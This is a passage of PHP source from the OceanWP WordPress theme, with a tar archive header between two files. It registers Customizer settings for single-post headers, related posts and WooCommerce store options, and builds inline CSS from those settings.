), 'center left' => esc_html__( 'Center Left', 'oceanwp' ), 'center center' => esc_html__( 'Center Center', 'oceanwp' ), 'center right' => esc_html__( 'Center Right', 'oceanwp' ), 'bottom left' => esc_html__( 'Bottom Left', 'oceanwp' ), 'bottom center' => esc_html__( 'Bottom Center', 'oceanwp' ), 'bottom right' => esc_html__( 'Bottom Right', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Attachment */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_attachment', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_attachment', array( 'label' => esc_html__( 'Attachment', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_attachment', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'scroll' => esc_html__( 'Scroll', 'oceanwp' ), 'fixed' => esc_html__( 'Fixed', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Repeat */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_repeat', array( 'transport' => 'postMessage', 'default' => 'no-repeat', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_repeat', array( 'label' => esc_html__( 'Repeat', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_repeat', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'no-repeat' => esc_html__( 'No-repeat', 'oceanwp' ), 'repeat' => esc_html__( 'Repeat', 'oceanwp' ), 'repeat-x' => esc_html__( 'Repeat-x', 'oceanwp' ), 'repeat-y' => esc_html__( 'Repeat-y', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Size */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_size', array( 'transport' => 'postMessage', 'default' => 'cover', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_size', array( 'label' => esc_html__( 'Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'auto' => esc_html__( 'Auto', 'oceanwp' ), 'cover' => esc_html__( 'Cover', 'oceanwp' ), 'contain' => esc_html__( 'Contain', 'oceanwp' ), ), ) ) ); /** * Blog Single Page Header Background Image Height */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_height', array( 'transport' => 'postMessage', 'default' => '400', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_single_title_bg_image_height', array( 'label' => esc_html__( 'Page Header Height (px)', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Overlay Opacity */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_overlay_opacity', array( 'transport' => 'postMessage', 'default' => '0.5', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_single_title_bg_image_overlay_opacity', array( 'label' => esc_html__( 'Overlay Opacity', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_overlay_opacity', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 1, 'step' => 0.1, ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Overlay Color */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_overlay_color', array( 'transport' => 'postMessage', 'default' => '#000000', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_single_title_bg_image_overlay_color', array( 'label' => esc_html__( 'Overlay Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_overlay_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Full Width Content Max Width */ $wp_customize->add_setting( 'ocean_blog_single_content_width', array( 'transport' => 'postMessage', 'default' => '700', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_content_width', array( 'label' => esc_html__( 'Full Width Content', 'oceanwp' ), 'description' => esc_html__( 'Enter the max width your the content with the full width layout. Add 0 to disable the max width.', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'step' => 1, ), ) ) ); /** * Blog Single Elements Positioning */ $wp_customize->add_setting( 'ocean_blog_single_elements_positioning', array( 'default' => array( 'featured_image', 'title', 'meta', 'content', 'tags', 'social_share', 'next_prev', 'author_box', 'related_posts', 'single_comments' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); https://www.download.ir/ $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_single_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_elements_positioning', 'priority' => 10, 'choices' => oceanwp_blog_single_elements(), ) ) ); /** * Blog Single Meta */ $wp_customize->add_setting( 'ocean_blog_single_meta', array( 'default' => array( 'author', 'date', 'categories', 'comments' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_single_meta', array( 'label' => esc_html__( 'Meta', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), ) ), ) ) ); /** * Single Post Meta Separator * * @since 2.0 */ $wp_customize->add_setting( 'ocean_blog_single_meta_separator', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_meta_separator', array( 'label' => esc_html__( 'Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_meta_separator', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'none' => esc_html__( 'None', 'oceanwp' ), ), ) ) ); /** * Next/Prev Taxonomy */ $wp_customize->add_setting( 'ocean_single_post_next_prev_taxonomy', array( 'default' => 'post_tag', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_single_post_next_prev_taxonomy', array( 'label' => esc_html__( 'Next/Prev Taxonomy', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_next_prev_taxonomy', 'priority' => 10, 'choices' => array( 'category' => esc_html__( 'Category', 'oceanwp' ), 'post_tag' => esc_html__( 'Tag', 'oceanwp' ), 'pub-date' => esc_html__( 'Date', 'oceanwp' ), ), ) ) ); /** * Related Posts Count */ $wp_customize->add_setting( 'ocean_blog_related_count', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_related_count', array( 'label' => esc_html__( 'Related Posts Count', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_count', 'priority' => 10, 'input_attrs' => array( 'min' => 2, 'max' => 50, 'step' => 1, ), ) ) ); /** * Related Posts Columns */ $wp_customize->add_setting( 'ocean_blog_related_columns', array( 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_related_columns', array( 'label' => esc_html__( 'Related Posts Columns', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_columns', 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 6, 'step' => 1, ), ) ) ); /** * Related Posts Taxonomy */ $wp_customize->add_setting( 'ocean_blog_related_taxonomy', array( 'default' => 'category', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_related_taxonomy', array( 'label' => esc_html__( 'Related Posts Taxonomy', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_taxonomy', 'priority' => 10, 'choices' => array( 'category' => esc_html__( 'Category', 'oceanwp' ), 'post_tag' => esc_html__( 'Tag', 'oceanwp' ), ), ) ) ); /** * Related Posts Image Width */ $wp_customize->add_setting( 'ocean_blog_related_img_width', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_related_img_width', array( 'label' => esc_html__( 'Related Posts Image Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_img_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, ), ) ) ); /** * Related Posts Image Height */ $wp_customize->add_setting( 'ocean_blog_related_img_height', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_related_img_height', array( 'label' => esc_html__( 'Related Posts Image Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_related_img_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, ), ) ) ); /** * Comment form position. * * @since 1.8.4 */ $wp_customize->add_setting( 'ocean_comment_form_position', array( 'default' => 'after', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_comment_form_position', array( 'label' => esc_html__( 'Comment Form Position', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_comment_form_position', 'priority' => 10, 'choices' => array( 'before' => esc_html__( 'Before', 'oceanwp' ), 'after' => esc_html__( 'After', 'oceanwp' ), ), ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Layout. $entries_layout = get_theme_mod( 'ocean_blog_archives_layout', 'right-sidebar' ); $single_layout = get_theme_mod( 'ocean_blog_single_layout', 'right-sidebar' ); // Global vars. $bs_archives_content_width = get_theme_mod( 'ocean_blog_archives_both_sidebars_content_width' ); $bs_archives_sidebars_width = get_theme_mod( 'ocean_blog_archives_both_sidebars_sidebars_width' ); $bs_single_content_width = get_theme_mod( 'ocean_blog_single_both_sidebars_content_width' ); $bs_single_sidebars_width = get_theme_mod( 'ocean_blog_single_both_sidebars_sidebars_width' ); $thumbnail_category_color = get_theme_mod( 'ocean_blog_thumbnail_category_color', '#13aff0' ); $thumbnail_category_hover_color = get_theme_mod( 'ocean_blog_thumbnail_category_hover_color', '#333333' ); $thumbnail_comments_color = get_theme_mod( 'ocean_blog_thumbnail_comments_color', '#ababab' ); $thumbnail_comments_hover_color = get_theme_mod( 'ocean_blog_thumbnail_comments_hover_color', '#13aff0' ); $thumbnail_date_color = get_theme_mod( 'ocean_blog_thumbnail_date_color', '#ababab' ); $infinite_scroll_spinners_color = get_theme_mod( 'ocean_blog_infinite_scroll_spinners_color', '#333333' ); $title_breadcrumb_position = get_theme_mod( 'ocean_blog_single_title_breadcrumb_position', 'center' ); $single_content_width = get_theme_mod( 'ocean_blog_single_content_width', '700' ); $single_post_header_bg_color = get_theme_mod( 'oceanwp_single_post_header_background', '#e5e5e5' ); $single_post_cover_overlay_clr = get_theme_mod( 'oceanwp_single_post_header_background_cover', '#000000b3' ); $single_post_meta_icon_color = get_theme_mod( 'oceanwp_single_post_meta_icon_clr', '#000' ); // Define css var. $css = ''; // If blog archives Both Sidebars layout. if ( 'both-sidebars' === $entries_layout ) { // Both Sidebars layout blog archives content width. if ( ! empty( $bs_archives_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.blog.content-both-sidebars .content-area, body.archive.content-both-sidebars .content-area {width: ' . $bs_archives_content_width . '%;} body.blog.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.blog.content-both-sidebars.ssc-style .widget-area, body.archive.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.archive.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_archives_content_width . '%;} }'; } // Both Sidebars layout blog archives sidebars width. if ( ! empty( $bs_archives_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.blog.content-both-sidebars .widget-area, body.archive.content-both-sidebars .widget-area{width:' . $bs_archives_sidebars_width . '%;} body.blog.content-both-sidebars.scs-style .content-area, body.archive.content-both-sidebars.scs-style .content-area{left:' . $bs_archives_sidebars_width . '%;} body.blog.content-both-sidebars.ssc-style .content-area, body.archive.content-both-sidebars.ssc-style .content-area{left:' . $bs_archives_sidebars_width * 2 . '%;} }'; } } // If single post Both Sidebars layout. if ( 'both-sidebars' === $single_layout ) { // Both Sidebars layout single post content width. if ( ! empty( $bs_single_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-post.content-both-sidebars .content-area {width: ' . $bs_single_content_width . '%;} body.single-post.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-post.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_single_content_width . '%;} }'; } // Both Sidebars layout blog archives sidebars width. if ( ! empty( $bs_single_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-post.content-both-sidebars .widget-area{width:' . $bs_single_sidebars_width . '%;} body.single-post.content-both-sidebars.scs-style .content-area{left:' . $bs_single_sidebars_width . '%;} body.single-post.content-both-sidebars.ssc-style .content-area{left:' . $bs_single_sidebars_width * 2 . '%;} }'; } } // Single post header background color. if ( ! empty( $single_post_header_bg_color ) && '#e5e5e5' != $single_post_header_bg_color ) { $css .= '.single-post-header-wrap, .single-header-ocean-6 .blog-post-title, .single-header-ocean-7 .blog-post-title {background-color:' . $single_post_header_bg_color . ';}'; } // Single post header cover style overlay color. if ( ! empty( $single_post_cover_overlay_clr ) && '#000000b3' != $single_post_cover_overlay_clr ) { $css .= '.single-post-header-wrap .header-color-overlay {background-color:' . $single_post_cover_overlay_clr . ';}'; } // Single post header meta icon color. if ( ! empty( $single_post_meta_icon_color ) && '#000' != $single_post_meta_icon_color ) { $css .= '.ocean-single-post-header ul.meta-item li i {color:' . $single_post_meta_icon_color . ';}'; $css .= '.ocean-single-post-header ul.meta-item li .owp-icon use {stroke:' . $single_post_meta_icon_color . ';}'; } // Blog thumbnail category color. if ( ! empty( $thumbnail_category_color ) && '#13aff0' != $thumbnail_category_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-category a{color:' . $thumbnail_category_color . ';}'; } // Blog thumbnail category hover color. if ( ! empty( $thumbnail_category_hover_color ) && '#333333' != $thumbnail_category_hover_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-category a:hover{color:' . $thumbnail_category_hover_color . ';}'; } // Blog thumbnail comments color. if ( ! empty( $thumbnail_comments_color ) && '#ababab' != $thumbnail_comments_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-comments, .blog-entry.thumbnail-entry .blog-entry-comments a{color:' . $thumbnail_comments_color . ';}'; } // Blog thumbnail comments hover color. if ( ! empty( $thumbnail_comments_hover_color ) && '#13aff0' != $thumbnail_comments_hover_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-comments a:hover{color:' . $thumbnail_comments_hover_color . ';}'; } // Blog thumbnail date color. if ( ! empty( $thumbnail_date_color ) && '#ababab' != $thumbnail_date_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-date{color:' . $thumbnail_date_color . ';}'; } // Blog infinite scroll spinners color. if ( ! empty( $infinite_scroll_spinners_color ) && '#333333' != $infinite_scroll_spinners_color ) { $css .= '.loader-ellips__dot{background-color:' . $infinite_scroll_spinners_color . ';}'; } // Title/breadcrumb position. if ( ! empty( $title_breadcrumb_position ) && 'center' != $title_breadcrumb_position ) { $css .= '.single-post .background-image-page-header .page-header-inner, .single-post .background-image-page-header .site-breadcrumbs{text-align:' . $title_breadcrumb_position . ';}'; } // Single content width. if ( ! empty( $single_content_width ) && '700' != $single_content_width ) { $css .= ' .single-post.content-max-width #wrap .thumbnail, .single-post.content-max-width #wrap .wp-block-buttons, .single-post.content-max-width #wrap .wp-block-verse, .single-post.content-max-width #wrap .entry-header, .single-post.content-max-width #wrap ul.meta, .single-post.content-max-width #wrap .entry-content p, .single-post.content-max-width #wrap .entry-content h1, .single-post.content-max-width #wrap .entry-content h2, .single-post.content-max-width #wrap .entry-content h3, .single-post.content-max-width #wrap .entry-content h4, .single-post.content-max-width #wrap .entry-content h5, .single-post.content-max-width #wrap .entry-content h6, .single-post.content-max-width #wrap .wp-block-image, .single-post.content-max-width #wrap .wp-block-gallery, .single-post.content-max-width #wrap .wp-block-video, .single-post.content-max-width #wrap .wp-block-quote, .single-post.content-max-width #wrap .wp-block-text-columns, .single-post.content-max-width #wrap .wp-block-code, .single-post.content-max-width #wrap .entry-content ul, .single-post.content-max-width #wrap .entry-content ol, .single-post.content-max-width #wrap .wp-block-cover-text, .single-post.content-max-width #wrap .wp-block-cover, .single-post.content-max-width #wrap .wp-block-columns, .single-post.content-max-width #wrap .post-tags, .single-post.content-max-width #wrap .comments-area, .single-post.content-max-width #wrap .wp-block-embed, #wrap .wp-block-separator.is-style-wide:not(.size-full){max-width:' . $single_content_width . 'px;} .single-post.content-max-width #wrap .wp-block-image.alignleft, .single-post.content-max-width #wrap .wp-block-image.alignright{max-width:' . $single_content_width / 2 . 'px;} .single-post.content-max-width #wrap .wp-block-image.alignleft{margin-left: calc( 50% - ' . $single_content_width / 2 . 'px);} .single-post.content-max-width #wrap .wp-block-image.alignright{margin-right: calc( 50% - ' . $single_content_width / 2 . 'px);} .single-post.content-max-width #wrap .wp-block-embed, .single-post.content-max-width #wrap .wp-block-verse {margin-left: auto; margin-right: auto;} '; } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* Blog CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_Blog_Customizer(); customizer/settings/woocommerce.php000064400001153265151551031110013646 0ustar00add_panel( $panel , array( 'title' => esc_html__( 'WooCommerce', 'oceanwp' ), 'priority' => 210, ) ); /** * Store Notice Background Color */ $wp_customize->add_setting( 'ocean_woo_store_notice_bg_color', array( 'transport' => 'postMessage', 'default' => '#3d9cd2', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_store_notice_bg_color', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'woocommerce_store_notice', 'priority' => 10, ) ) ); /** * Store Notice Dismiss Background Color */ $wp_customize->add_setting( 'ocean_woo_store_notice_dismiss_bg_color', array( 'transport' => 'postMessage', 'default' => '#0000001a', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_store_notice_dismiss_bg_color', array( 'label' => esc_html__( 'Dismiss Background Color', 'oceanwp' ), 'section' => 'woocommerce_store_notice', 'priority' => 10, ) ) ); /** * Store Notice Dismiss Texr Color Hover */ $wp_customize->add_setting( 'ocean_woo_store_notice_dismiss_text_hover_color', array( 'transport' => 'postMessage', 'default' => '#f4dc00', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_store_notice_dismiss_text_hover_color', array( 'label' => esc_html__( 'Dismiss text Color - Hover', 'oceanwp' ), 'section' => 'woocommerce_store_notice', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_general' , array( 'title' => esc_html__( 'General', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Remove Custom WooCommerce Features */ $wp_customize->add_setting( 'ocean_woo_remove_custom_features', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_remove_custom_features', array( 'label' => esc_html__( 'Remove Custom WooCommerce Features', 'oceanwp' ), 'description' => esc_html__( 'Remove all the custom WooCommerce features added for OceanWP, you will have the default plugin features.', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_remove_custom_features', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Custom WooCommerce Sidebar */ $wp_customize->add_setting( 'ocean_woo_custom_sidebar', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_custom_sidebar', array( 'label' => esc_html__( 'Custom WooCommerce Sidebar', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_custom_sidebar', 'priority' => 10, ) ) ); /** * Display Cart When Product Added */ $wp_customize->add_setting( 'ocean_woo_display_cart_product_added', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_display_cart_product_added', array( 'label' => esc_html__( 'Display Cart When Product Added', 'oceanwp' ), 'description' => esc_html__( 'Display the cart when a product is added, work in the shop and the single product pages if ajax is enabled.', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_display_cart_product_added', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Categories Widget Style */ $wp_customize->add_setting( 'ocean_woo_cat_widget_style', array( 'transport' => 'postMessage', 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_cat_widget_style', array( 'label' => esc_html__( 'Categories Widget Style', 'oceanwp' ), 'description' => esc_html__( 'Choose the WooCommerce Categories widget style.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_cat_widget_style', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'dropdown' => esc_html__( 'Dropdown', 'oceanwp' ), ), ) ) ); /** * Heading Wishlist */ $wp_customize->add_setting( 'ocean_woo_wishlist_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_wishlist_heading', array( 'label' => esc_html__( 'Wishlist', 'oceanwp' ), 'description' => sprintf( esc_html__( 'You need to activate the %1$sTI WooCommerce Wishlist%2$s plugin to add a wishlist button and icon', 'oceanwp' ), '', '' ), 'section' => 'ocean_woocommerce_general', 'priority' => 10, ) ) ); /** * Add support for Wishlist plugin of choice * * @since 2.0 */ $wp_customize->add_setting( 'ocean_woo_wl_plugin', array( 'transport' => 'postMessage', 'default' => 'ti_wl', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_wl_plugin', array( 'label' => esc_html__( 'WooCommerce Wishlist Plugin Support', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_wl_plugin', 'priority' => 10, 'choices' => array( 'ti_wl' => esc_html__( 'TI WC Wishlist', 'oceanwp' ), 'yith_wl' => esc_html__( 'YITH WC Wishlist', 'oceanwp' ), ), ) ) ); /** * Add Wishlist Icon In Header */ $wp_customize->add_setting( 'ocean_woo_wishlist_icon', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_wishlist_icon', array( 'label' => esc_html__( 'Add Wishlist Icon In Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_wishlist_icon', 'priority' => 10, ) ) ); /** * Heading On Sale Badge */ $wp_customize->add_setting( 'ocean_woo_sale_badge_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_sale_badge_heading', array( 'label' => esc_html__( 'On Sale Badge', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'priority' => 10, ) ) ); /** * On Sale Badge Style */ $wp_customize->add_setting( 'ocean_woo_sale_badge_style', array( 'transport' => 'postMessage', 'default' => 'square', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_sale_badge_style', array( 'label' => esc_html__( 'On Sale Badge Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_sale_badge_style', 'priority' => 10, 'choices' => array( 'square' => esc_html__( 'Square', 'oceanwp' ), 'circle' => esc_html__( 'Circle', 'oceanwp' ), ), ) ) ); /** * On Sale Badge Content */ $wp_customize->add_setting( 'ocean_woo_sale_badge_content', array( 'default' => 'sale', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_sale_badge_content', array( 'label' => esc_html__( 'On Sale Badge Content', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_sale_badge_content', 'priority' => 10, 'choices' => array( 'sale' => esc_html__( 'On Sale Text', 'oceanwp' ), 'percent' => esc_html__( 'Percentage', 'oceanwp' ), ), ) ) ); /** * Heading My Account Page */ $wp_customize->add_setting( 'ocean_woo_account_page_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_account_page_heading', array( 'label' => esc_html__( 'My Account Page', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'priority' => 10, ) ) ); /** * My Account Page Style */ $wp_customize->add_setting( 'ocean_woo_account_page_style', array( 'transport' => 'postMessage', 'default' => 'original', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_account_page_style', array( 'label' => esc_html__( 'Login/Register Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_account_page_style', 'priority' => 10, 'choices' => array( 'original' => esc_html__( 'Original', 'oceanwp' ), 'side' => esc_html__( 'Side by Side', 'oceanwp' ), ), ) ) ); /** * Heading Category Page */ $wp_customize->add_setting( 'ocean_woo_category_page_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_category_page_heading', array( 'label' => esc_html__( 'Category Page', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'priority' => 10, ) ) ); /** * Display Featured Image */ $wp_customize->add_setting( 'ocean_woo_category_image', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_category_image', array( 'label' => esc_html__( 'Display Featured Image', 'oceanwp' ), 'description' => esc_html__( 'Display the categories featured images before the product archives.', 'oceanwp' ), 'section' => 'ocean_woocommerce_general', 'settings' => 'ocean_woo_category_image', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_menu_cart' , array( 'title' => esc_html__( 'Menu Cart', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Hide If Empty */ $wp_customize->add_setting( 'ocean_woo_menu_icon_hide_if_empty', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_icon_hide_if_empty', array( 'label' => esc_html__( 